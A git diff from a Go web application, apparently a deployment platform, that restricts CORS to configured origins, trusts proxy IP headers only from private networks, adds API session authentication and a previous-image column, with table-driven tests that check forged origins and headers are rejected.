|
||||||
|
return &Middleware{
|
||||||
|
log: slog.Default(),
|
||||||
|
params: &Params{
|
||||||
|
Config: &config.Config{
|
||||||
|
CORSOrigins: corsOrigins,
|
||||||
|
SessionSecret: "test-secret-32-bytes-long-enough",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCORS_NoOriginsConfigured_NoCORSHeaders(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
m := newCORSTestMiddleware("")
|
||||||
|
handler := m.CORS()(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||||
|
w.WriteHeader(http.StatusOK)
|
||||||
|
}))
|
||||||
|
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||||
|
req.Header.Set("Origin", "https://evil.com")
|
||||||
|
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
handler.ServeHTTP(rec, req)
|
||||||
|
|
||||||
|
assert.Empty(t, rec.Header().Get("Access-Control-Allow-Origin"),
|
||||||
|
"expected no CORS headers when no origins configured")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCORS_OriginsConfigured_AllowsMatchingOrigin(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
m := newCORSTestMiddleware("https://app.example.com,https://other.example.com")
|
||||||
|
handler := m.CORS()(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||||
|
w.WriteHeader(http.StatusOK)
|
||||||
|
}))
|
||||||
|
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||||
|
req.Header.Set("Origin", "https://app.example.com")
|
||||||
|
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
handler.ServeHTTP(rec, req)
|
||||||
|
|
||||||
|
assert.Equal(t, "https://app.example.com",
|
||||||
|
rec.Header().Get("Access-Control-Allow-Origin"))
|
||||||
|
assert.Equal(t, "true",
|
||||||
|
rec.Header().Get("Access-Control-Allow-Credentials"))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCORS_OriginsConfigured_RejectsNonMatchingOrigin(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
m := newCORSTestMiddleware("https://app.example.com")
|
||||||
|
handler := m.CORS()(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||||
|
w.WriteHeader(http.StatusOK)
|
||||||
|
}))
|
||||||
|
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||||
|
req.Header.Set("Origin", "https://evil.com")
|
||||||
|
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
handler.ServeHTTP(rec, req)
|
||||||
|
|
||||||
|
assert.Empty(t, rec.Header().Get("Access-Control-Allow-Origin"),
|
||||||
|
"expected no CORS headers for non-matching origin")
|
||||||
|
}
|
||||||
@@ -2,11 +2,12 @@
|
|||||||
package middleware
|
package middleware
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
|
||||||
"log/slog"
|
"log/slog"
|
||||||
"math"
|
"math"
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -90,7 +91,7 @@ func (m *Middleware) Logging() func(http.Handler) http.Handler {
|
|||||||
"request_id", reqID,
|
"request_id", reqID,
|
||||||
"referer", request.Referer(),
|
"referer", request.Referer(),
|
||||||
"proto", request.Proto,
|
"proto", request.Proto,
|
||||||
"remoteIP", ipFromHostPort(request.RemoteAddr),
|
"remoteIP", realIP(request),
|
||||||
"status", lrw.statusCode,
|
"status", lrw.statusCode,
|
||||||
"latency_ms", latency.Milliseconds(),
|
"latency_ms", latency.Milliseconds(),
|
||||||
)
|
)
|
||||||
@@ -110,18 +111,114 @@ func ipFromHostPort(hostPort string) string {
|
|||||||
return host
|
return host
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// trustedProxyNets are RFC1918 and loopback CIDRs whose proxy headers we trust.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // package-level constant nets parsed once
|
||||||
|
var trustedProxyNets = func() []*net.IPNet {
|
||||||
|
cidrs := []string{
|
||||||
|
"10.0.0.0/8",
|
||||||
|
"172.16.0.0/12",
|
||||||
|
"192.168.0.0/16",
|
||||||
|
"127.0.0.0/8",
|
||||||
|
"::1/128",
|
||||||
|
"fc00::/7",
|
||||||
|
}
|
||||||
|
|
||||||
|
nets := make([]*net.IPNet, 0, len(cidrs))
|
||||||
|
|
||||||
|
for _, cidr := range cidrs {
|
||||||
|
_, n, _ := net.ParseCIDR(cidr)
|
||||||
|
nets = append(nets, n)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nets
|
||||||
|
}()
|
||||||
|
|
||||||
|
// isTrustedProxy reports whether ip is in an RFC1918, loopback, or ULA range.
|
||||||
|
func isTrustedProxy(ip net.IP) bool {
|
||||||
|
for _, n := range trustedProxyNets {
|
||||||
|
if n.Contains(ip) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// realIP extracts the client's real IP address from the request.
|
||||||
|
// Proxy headers (X-Real-IP, X-Forwarded-For) are only trusted when the
|
||||||
|
// direct connection originates from an RFC1918/loopback address.
|
||||||
|
// Otherwise, headers are ignored and RemoteAddr is used (fail closed).
|
||||||
|
func realIP(r *http.Request) string {
|
||||||
|
addr := ipFromHostPort(r.RemoteAddr)
|
||||||
|
remoteIP := net.ParseIP(addr)
|
||||||
|
|
||||||
|
// Only trust proxy headers from private/loopback sources.
|
||||||
|
if remoteIP == nil || !isTrustedProxy(remoteIP) {
|
||||||
|
return addr
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. X-Real-IP (set by Traefik/nginx)
|
||||||
|
if ip := strings.TrimSpace(r.Header.Get("X-Real-IP")); ip != "" {
|
||||||
|
return ip
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. X-Forwarded-For: take the first (leftmost/client) IP
|
||||||
|
if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
|
||||||
|
if parts := strings.SplitN(xff, ",", 2); len(parts) > 0 { //nolint:mnd
|
||||||
|
if ip := strings.TrimSpace(parts[0]); ip != "" {
|
||||||
|
return ip
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Fall back to RemoteAddr
|
||||||
|
return addr
|
||||||
|
}
|
||||||
|
|
||||||
// CORS returns CORS middleware.
|
// CORS returns CORS middleware.
|
||||||
|
// When UPAAS_CORS_ORIGINS is empty (default), no CORS headers are sent
|
||||||
|
// (same-origin only). When configured, only the specified origins are
|
||||||
|
// allowed and credentials (cookies) are permitted.
|
||||||
func (m *Middleware) CORS() func(http.Handler) http.Handler {
|
func (m *Middleware) CORS() func(http.Handler) http.Handler {
|
||||||
|
origins := parseCORSOrigins(m.params.Config.CORSOrigins)
|
||||||
|
|
||||||
|
// No origins configured — no CORS headers (same-origin policy).
|
||||||
|
if len(origins) == 0 {
|
||||||
|
return func(next http.Handler) http.Handler {
|
||||||
|
return next
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return cors.Handler(cors.Options{
|
return cors.Handler(cors.Options{
|
||||||
AllowedOrigins: []string{"*"},
|
AllowedOrigins: origins,
|
||||||
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
|
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
|
||||||
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-CSRF-Token"},
|
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-CSRF-Token"},
|
||||||
ExposedHeaders: []string{"Link"},
|
ExposedHeaders: []string{"Link"},
|
||||||
AllowCredentials: false,
|
AllowCredentials: true,
|
||||||
MaxAge: corsMaxAge,
|
MaxAge: corsMaxAge,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// parseCORSOrigins splits a comma-separated origin string into a slice,
|
||||||
|
// trimming whitespace. Returns nil if the input is empty.
|
||||||
|
func parseCORSOrigins(raw string) []string {
|
||||||
|
if raw == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
parts := strings.Split(raw, ",")
|
||||||
|
origins := make([]string, 0, len(parts))
|
||||||
|
|
||||||
|
for _, p := range parts {
|
||||||
|
if o := strings.TrimSpace(p); o != "" {
|
||||||
|
origins = append(origins, o)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return origins
|
||||||
|
}
|
||||||
|
|
||||||
// MetricsAuth returns basic auth middleware for metrics endpoint.
|
// MetricsAuth returns basic auth middleware for metrics endpoint.
|
||||||
func (m *Middleware) MetricsAuth() func(http.Handler) http.Handler {
|
func (m *Middleware) MetricsAuth() func(http.Handler) http.Handler {
|
||||||
if m.params.Config.MetricsUsername == "" {
|
if m.params.Config.MetricsUsername == "" {
|
||||||
@@ -169,9 +266,9 @@ func (m *Middleware) CSRF() func(http.Handler) http.Handler {
|
|||||||
// loginRateLimit configures the login rate limiter.
|
// loginRateLimit configures the login rate limiter.
|
||||||
const (
|
const (
|
||||||
loginRateLimit = rate.Limit(5.0 / 60.0) // 5 requests per 60 seconds
|
loginRateLimit = rate.Limit(5.0 / 60.0) // 5 requests per 60 seconds
|
||||||
loginBurst = 5 // allow burst of 5
|
loginBurst = 5 // allow burst of 5
|
||||||
limiterExpiry = 10 * time.Minute // evict entries not seen in 10 minutes
|
limiterExpiry = 10 * time.Minute // evict entries not seen in 10 minutes
|
||||||
limiterCleanupEvery = 1 * time.Minute // sweep interval
|
limiterCleanupEvery = 1 * time.Minute // sweep interval
|
||||||
)
|
)
|
||||||
|
|
||||||
// ipLimiterEntry stores a rate limiter with its last-seen timestamp.
|
// ipLimiterEntry stores a rate limiter with its last-seen timestamp.
|
||||||
@@ -183,8 +280,8 @@ type ipLimiterEntry struct {
|
|||||||
// ipLimiter tracks per-IP rate limiters for login attempts with automatic
|
// ipLimiter tracks per-IP rate limiters for login attempts with automatic
|
||||||
// eviction of stale entries to prevent unbounded memory growth.
|
// eviction of stale entries to prevent unbounded memory growth.
|
||||||
type ipLimiter struct {
|
type ipLimiter struct {
|
||||||
mu sync.Mutex
|
mu sync.Mutex
|
||||||
limiters map[string]*ipLimiterEntry
|
limiters map[string]*ipLimiterEntry
|
||||||
lastSweep time.Time
|
lastSweep time.Time
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -202,6 +299,7 @@ func (i *ipLimiter) sweep(now time.Time) {
|
|||||||
delete(i.limiters, ip)
|
delete(i.limiters, ip)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
i.lastSweep = now
|
i.lastSweep = now
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -223,6 +321,7 @@ func (i *ipLimiter) getLimiter(ip string) *rate.Limiter {
|
|||||||
}
|
}
|
||||||
i.limiters[ip] = entry
|
i.limiters[ip] = entry
|
||||||
}
|
}
|
||||||
|
|
||||||
entry.lastSeen = now
|
entry.lastSeen = now
|
||||||
|
|
||||||
return entry.limiter
|
return entry.limiter
|
||||||
@@ -241,7 +340,7 @@ func (m *Middleware) LoginRateLimit() func(http.Handler) http.Handler {
|
|||||||
writer http.ResponseWriter,
|
writer http.ResponseWriter,
|
||||||
request *http.Request,
|
request *http.Request,
|
||||||
) {
|
) {
|
||||||
ip := ipFromHostPort(request.RemoteAddr)
|
ip := realIP(request)
|
||||||
limiter := loginLimiter.getLimiter(ip)
|
limiter := loginLimiter.getLimiter(ip)
|
||||||
|
|
||||||
if !limiter.Allow() {
|
if !limiter.Allow() {
|
||||||
@@ -253,11 +352,9 @@ func (m *Middleware) LoginRateLimit() func(http.Handler) http.Handler {
|
|||||||
reservation := limiter.Reserve()
|
reservation := limiter.Reserve()
|
||||||
delay := reservation.Delay()
|
delay := reservation.Delay()
|
||||||
reservation.Cancel()
|
reservation.Cancel()
|
||||||
retryAfter := int(math.Ceil(delay.Seconds()))
|
|
||||||
if retryAfter < 1 {
|
retryAfter := max(int(math.Ceil(delay.Seconds())), 1)
|
||||||
retryAfter = 1
|
writer.Header().Set("Retry-After", strconv.Itoa(retryAfter))
|
||||||
}
|
|
||||||
writer.Header().Set("Retry-After", fmt.Sprintf("%d", retryAfter))
|
|
||||||
|
|
||||||
http.Error(
|
http.Error(
|
||||||
writer,
|
writer,
|
||||||
@@ -273,6 +370,27 @@ func (m *Middleware) LoginRateLimit() func(http.Handler) http.Handler {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// APISessionAuth returns middleware that requires session authentication for API routes.
|
||||||
|
// Unlike SessionAuth, it returns JSON 401 responses instead of redirecting to /login.
|
||||||
|
func (m *Middleware) APISessionAuth() func(http.Handler) http.Handler {
|
||||||
|
return func(next http.Handler) http.Handler {
|
||||||
|
return http.HandlerFunc(func(
|
||||||
|
writer http.ResponseWriter,
|
||||||
|
request *http.Request,
|
||||||
|
) {
|
||||||
|
user, err := m.params.Auth.GetCurrentUser(request.Context(), request)
|
||||||
|
if err != nil || user == nil {
|
||||||
|
writer.Header().Set("Content-Type", "application/json")
|
||||||
|
http.Error(writer, `{"error":"unauthorized"}`, http.StatusUnauthorized)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
next.ServeHTTP(writer, request)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// SetupRequired returns middleware that redirects to setup if no user exists.
|
// SetupRequired returns middleware that redirects to setup if no user exists.
|
||||||
func (m *Middleware) SetupRequired() func(http.Handler) http.Handler {
|
func (m *Middleware) SetupRequired() func(http.Handler) http.Handler {
|
||||||
return func(next http.Handler) http.Handler {
|
return func(next http.Handler) http.Handler {
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
package middleware
|
package middleware //nolint:testpackage // tests unexported types and globals
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"log/slog"
|
"log/slog"
|
||||||
@@ -23,6 +23,7 @@ func newTestMiddleware(t *testing.T) *Middleware {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//nolint:paralleltest // mutates global loginLimiter
|
||||||
func TestLoginRateLimitAllowsUpToBurst(t *testing.T) {
|
func TestLoginRateLimitAllowsUpToBurst(t *testing.T) {
|
||||||
// Reset the global limiter to get clean state
|
// Reset the global limiter to get clean state
|
||||||
loginLimiter = newIPLimiter()
|
loginLimiter = newIPLimiter()
|
||||||
@@ -50,6 +51,7 @@ func TestLoginRateLimitAllowsUpToBurst(t *testing.T) {
|
|||||||
assert.Equal(t, http.StatusTooManyRequests, rec.Code, "6th request should be rate limited")
|
assert.Equal(t, http.StatusTooManyRequests, rec.Code, "6th request should be rate limited")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//nolint:paralleltest // mutates global loginLimiter
|
||||||
func TestLoginRateLimitIsolatesIPs(t *testing.T) {
|
func TestLoginRateLimitIsolatesIPs(t *testing.T) {
|
||||||
loginLimiter = newIPLimiter()
|
loginLimiter = newIPLimiter()
|
||||||
|
|
||||||
@@ -82,6 +84,7 @@ func TestLoginRateLimitIsolatesIPs(t *testing.T) {
|
|||||||
assert.Equal(t, http.StatusOK, rec2.Code, "different IP should not be rate limited")
|
assert.Equal(t, http.StatusOK, rec2.Code, "different IP should not be rate limited")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//nolint:paralleltest // mutates global loginLimiter
|
||||||
func TestLoginRateLimitReturns429Body(t *testing.T) {
|
func TestLoginRateLimitReturns429Body(t *testing.T) {
|
||||||
loginLimiter = newIPLimiter()
|
loginLimiter = newIPLimiter()
|
||||||
|
|
||||||
@@ -109,6 +112,8 @@ func TestLoginRateLimitReturns429Body(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func TestIPLimiterEvictsStaleEntries(t *testing.T) {
|
func TestIPLimiterEvictsStaleEntries(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
il := newIPLimiter()
|
il := newIPLimiter()
|
||||||
|
|
||||||
// Add an entry and backdate its lastSeen
|
// Add an entry and backdate its lastSeen
|
||||||
@@ -130,6 +135,7 @@ func TestIPLimiterEvictsStaleEntries(t *testing.T) {
|
|||||||
|
|
||||||
il.mu.Lock()
|
il.mu.Lock()
|
||||||
defer il.mu.Unlock()
|
defer il.mu.Unlock()
|
||||||
|
|
||||||
assert.NotContains(t, il.limiters, "1.2.3.4", "stale entry should be evicted")
|
assert.NotContains(t, il.limiters, "1.2.3.4", "stale entry should be evicted")
|
||||||
assert.Contains(t, il.limiters, "5.6.7.8", "fresh entry should remain")
|
assert.Contains(t, il.limiters, "5.6.7.8", "fresh entry should remain")
|
||||||
}
|
}
|
||||||
|
|||||||
157
internal/middleware/realip_test.go
Normal file
157
internal/middleware/realip_test.go
Normal file
@@ -0,0 +1,157 @@
|
|||||||
|
package middleware //nolint:testpackage // tests unexported realIP function
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestRealIP(t *testing.T) { //nolint:funlen // table-driven test
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
remoteAddr string
|
||||||
|
xRealIP string
|
||||||
|
xff string
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
// === Trusted proxy (RFC1918 / loopback) — headers ARE honoured ===
|
||||||
|
{
|
||||||
|
name: "trusted: X-Real-IP from 10.x",
|
||||||
|
remoteAddr: "10.0.0.1:1234",
|
||||||
|
xRealIP: "203.0.113.5",
|
||||||
|
xff: "198.51.100.1, 10.0.0.1",
|
||||||
|
want: "203.0.113.5",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trusted: XFF from 10.x when no X-Real-IP",
|
||||||
|
remoteAddr: "10.0.0.1:1234",
|
||||||
|
xff: "198.51.100.1, 10.0.0.1",
|
||||||
|
want: "198.51.100.1",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trusted: XFF single IP from 10.x",
|
||||||
|
remoteAddr: "10.0.0.1:1234",
|
||||||
|
xff: "203.0.113.10",
|
||||||
|
want: "203.0.113.10",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trusted: falls back to RemoteAddr (192.168.x)",
|
||||||
|
remoteAddr: "192.168.1.1:5678",
|
||||||
|
want: "192.168.1.1",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trusted: RemoteAddr without port",
|
||||||
|
remoteAddr: "192.168.1.1",
|
||||||
|
want: "192.168.1.1",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trusted: X-Real-IP with whitespace from 10.x",
|
||||||
|
remoteAddr: "10.0.0.1:1234",
|
||||||
|
xRealIP: " 203.0.113.5 ",
|
||||||
|
want: "203.0.113.5",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trusted: XFF with whitespace from 10.x",
|
||||||
|
remoteAddr: "10.0.0.1:1234",
|
||||||
|
xff: " 198.51.100.1 , 10.0.0.1",
|
||||||
|
want: "198.51.100.1",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trusted: empty X-Real-IP falls through to XFF from 10.x",
|
||||||
|
remoteAddr: "10.0.0.1:1234",
|
||||||
|
xRealIP: " ",
|
||||||
|
xff: "198.51.100.1",
|
||||||
|
want: "198.51.100.1",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trusted: loopback honours X-Real-IP",
|
||||||
|
remoteAddr: "127.0.0.1:9999",
|
||||||
|
xRealIP: "93.184.216.34",
|
||||||
|
want: "93.184.216.34",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trusted: 172.16.x honours XFF",
|
||||||
|
remoteAddr: "172.16.0.1:4321",
|
||||||
|
xff: "8.8.8.8",
|
||||||
|
want: "8.8.8.8",
|
||||||
|
},
|
||||||
|
|
||||||
|
// === Untrusted proxy (public IP) — headers IGNORED, use RemoteAddr ===
|
||||||
|
{
|
||||||
|
name: "untrusted: X-Real-IP ignored from public IP",
|
||||||
|
remoteAddr: "203.0.113.50:1234",
|
||||||
|
xRealIP: "10.0.0.1",
|
||||||
|
want: "203.0.113.50",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "untrusted: XFF ignored from public IP",
|
||||||
|
remoteAddr: "198.51.100.99:5678",
|
||||||
|
xff: "10.0.0.1, 192.168.1.1",
|
||||||
|
want: "198.51.100.99",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "untrusted: both headers ignored from public IP",
|
||||||
|
remoteAddr: "8.8.8.8:443",
|
||||||
|
xRealIP: "1.2.3.4",
|
||||||
|
xff: "5.6.7.8",
|
||||||
|
want: "8.8.8.8",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "untrusted: no headers, public RemoteAddr",
|
||||||
|
remoteAddr: "93.184.216.34:8080",
|
||||||
|
want: "93.184.216.34",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "untrusted: public RemoteAddr without port",
|
||||||
|
remoteAddr: "93.184.216.34",
|
||||||
|
want: "93.184.216.34",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
req, _ := http.NewRequestWithContext(context.Background(), http.MethodGet, "/", nil)
|
||||||
|
req.RemoteAddr = tt.remoteAddr
|
||||||
|
|
||||||
|
if tt.xRealIP != "" {
|
||||||
|
req.Header.Set("X-Real-IP", tt.xRealIP)
|
||||||
|
}
|
||||||
|
|
||||||
|
if tt.xff != "" {
|
||||||
|
req.Header.Set("X-Forwarded-For", tt.xff)
|
||||||
|
}
|
||||||
|
|
||||||
|
got := realIP(req)
|
||||||
|
if got != tt.want {
|
||||||
|
t.Errorf("realIP() = %q, want %q", got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestIsTrustedProxy(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
trusted := []string{"10.0.0.1", "10.255.255.255", "172.16.0.1", "172.31.255.255",
|
||||||
|
"192.168.0.1", "192.168.255.255", "127.0.0.1", "127.255.255.255", "::1"}
|
||||||
|
untrusted := []string{"8.8.8.8", "203.0.113.1", "172.32.0.1", "11.0.0.1", "2001:db8::1"}
|
||||||
|
|
||||||
|
for _, addr := range trusted {
|
||||||
|
ip := net.ParseIP(addr)
|
||||||
|
if !isTrustedProxy(ip) {
|
||||||
|
t.Errorf("expected %s to be trusted", addr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, addr := range untrusted {
|
||||||
|
ip := net.ParseIP(addr)
|
||||||
|
if isTrustedProxy(ip) {
|
||||||
|
t.Errorf("expected %s to be untrusted", addr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -14,7 +14,7 @@ import (
|
|||||||
const appColumns = `id, name, repo_url, branch, dockerfile_path, webhook_secret,
|
const appColumns = `id, name, repo_url, branch, dockerfile_path, webhook_secret,
|
||||||
ssh_private_key, ssh_public_key, image_id, status,
|
ssh_private_key, ssh_public_key, image_id, status,
|
||||||
docker_network, ntfy_topic, slack_webhook, webhook_secret_hash,
|
docker_network, ntfy_topic, slack_webhook, webhook_secret_hash,
|
||||||
created_at, updated_at`
|
previous_image_id, created_at, updated_at`
|
||||||
|
|
||||||
// AppStatus represents the status of an app.
|
// AppStatus represents the status of an app.
|
||||||
type AppStatus string
|
type AppStatus string
|
||||||
@@ -32,22 +32,23 @@ const (
|
|||||||
type App struct {
|
type App struct {
|
||||||
db *database.Database
|
db *database.Database
|
||||||
|
|
||||||
ID string
|
ID string
|
||||||
Name string
|
Name string
|
||||||
RepoURL string
|
RepoURL string
|
||||||
Branch string
|
Branch string
|
||||||
DockerfilePath string
|
DockerfilePath string
|
||||||
WebhookSecret string
|
WebhookSecret string
|
||||||
WebhookSecretHash string
|
WebhookSecretHash string
|
||||||
SSHPrivateKey string
|
SSHPrivateKey string
|
||||||
SSHPublicKey string
|
SSHPublicKey string
|
||||||
ImageID sql.NullString
|
ImageID sql.NullString
|
||||||
Status AppStatus
|
PreviousImageID sql.NullString
|
||||||
DockerNetwork sql.NullString
|
Status AppStatus
|
||||||
NtfyTopic sql.NullString
|
DockerNetwork sql.NullString
|
||||||
SlackWebhook sql.NullString
|
NtfyTopic sql.NullString
|
||||||
CreatedAt time.Time
|
SlackWebhook sql.NullString
|
||||||
UpdatedAt time.Time
|
CreatedAt time.Time
|
||||||
|
UpdatedAt time.Time
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewApp creates a new App with a database reference.
|
// NewApp creates a new App with a database reference.
|
||||||
@@ -140,13 +141,15 @@ func (a *App) insert(ctx context.Context) error {
|
|||||||
INSERT INTO apps (
|
INSERT INTO apps (
|
||||||
id, name, repo_url, branch, dockerfile_path, webhook_secret,
|
id, name, repo_url, branch, dockerfile_path, webhook_secret,
|
||||||
ssh_private_key, ssh_public_key, image_id, status,
|
ssh_private_key, ssh_public_key, image_id, status,
|
||||||
docker_network, ntfy_topic, slack_webhook, webhook_secret_hash
|
docker_network, ntfy_topic, slack_webhook, webhook_secret_hash,
|
||||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`
|
previous_image_id
|
||||||
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`
|
||||||
|
|
||||||
_, err := a.db.Exec(ctx, query,
|
_, err := a.db.Exec(ctx, query,
|
||||||
a.ID, a.Name, a.RepoURL, a.Branch, a.DockerfilePath, a.WebhookSecret,
|
a.ID, a.Name, a.RepoURL, a.Branch, a.DockerfilePath, a.WebhookSecret,
|
||||||
a.SSHPrivateKey, a.SSHPublicKey, a.ImageID, a.Status,
|
a.SSHPrivateKey, a.SSHPublicKey, a.ImageID, a.Status,
|
||||||
a.DockerNetwork, a.NtfyTopic, a.SlackWebhook, a.WebhookSecretHash,
|
a.DockerNetwork, a.NtfyTopic, a.SlackWebhook, a.WebhookSecretHash,
|
||||||
|
a.PreviousImageID,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
@@ -161,6 +164,7 @@ func (a *App) update(ctx context.Context) error {
|
|||||||
name = ?, repo_url = ?, branch = ?, dockerfile_path = ?,
|
name = ?, repo_url = ?, branch = ?, dockerfile_path = ?,
|
||||||
image_id = ?, status = ?,
|
image_id = ?, status = ?,
|
||||||
docker_network = ?, ntfy_topic = ?, slack_webhook = ?,
|
docker_network = ?, ntfy_topic = ?, slack_webhook = ?,
|
||||||
|
previous_image_id = ?,
|
||||||
updated_at = CURRENT_TIMESTAMP
|
updated_at = CURRENT_TIMESTAMP
|
||||||
WHERE id = ?`
|
WHERE id = ?`
|
||||||
|
|
||||||
@@ -168,6 +172,7 @@ func (a *App) update(ctx context.Context) error {
|
|||||||
a.Name, a.RepoURL, a.Branch, a.DockerfilePath,
|
a.Name, a.RepoURL, a.Branch, a.DockerfilePath,
|
||||||
a.ImageID, a.Status,
|
a.ImageID, a.Status,
|
||||||
a.DockerNetwork, a.NtfyTopic, a.SlackWebhook,
|
a.DockerNetwork, a.NtfyTopic, a.SlackWebhook,
|
||||||
|
a.PreviousImageID,
|
||||||
a.ID,
|
a.ID,
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -182,6 +187,7 @@ func (a *App) scan(row *sql.Row) error {
|
|||||||
&a.ImageID, &a.Status,
|
&a.ImageID, &a.Status,
|
||||||
&a.DockerNetwork, &a.NtfyTopic, &a.SlackWebhook,
|
&a.DockerNetwork, &a.NtfyTopic, &a.SlackWebhook,
|
||||||
&a.WebhookSecretHash,
|
&a.WebhookSecretHash,
|
||||||
|
&a.PreviousImageID,
|
||||||
&a.CreatedAt, &a.UpdatedAt,
|
&a.CreatedAt, &a.UpdatedAt,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
@@ -199,6 +205,7 @@ func scanApps(appDB *database.Database, rows *sql.Rows) ([]*App, error) {
|
|||||||
&app.ImageID, &app.Status,
|
&app.ImageID, &app.Status,
|
||||||
&app.DockerNetwork, &app.NtfyTopic, &app.SlackWebhook,
|
&app.DockerNetwork, &app.NtfyTopic, &app.SlackWebhook,
|
||||||
&app.WebhookSecretHash,
|
&app.WebhookSecretHash,
|
||||||
|
&app.PreviousImageID,
|
||||||
&app.CreatedAt, &app.UpdatedAt,
|
&app.CreatedAt, &app.UpdatedAt,
|
||||||
)
|
)
|
||||||
if scanErr != nil {
|
if scanErr != nil {
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ const (
|
|||||||
DeploymentStatusDeploying DeploymentStatus = "deploying"
|
DeploymentStatusDeploying DeploymentStatus = "deploying"
|
||||||
DeploymentStatusSuccess DeploymentStatus = "success"
|
DeploymentStatusSuccess DeploymentStatus = "success"
|
||||||
DeploymentStatusFailed DeploymentStatus = "failed"
|
DeploymentStatusFailed DeploymentStatus = "failed"
|
||||||
|
DeploymentStatusCancelled DeploymentStatus = "cancelled"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Display constants.
|
// Display constants.
|
||||||
|
|||||||
@@ -706,7 +706,6 @@ func TestAppGetWebhookEvents(t *testing.T) {
|
|||||||
|
|
||||||
// Cascade Delete Tests.
|
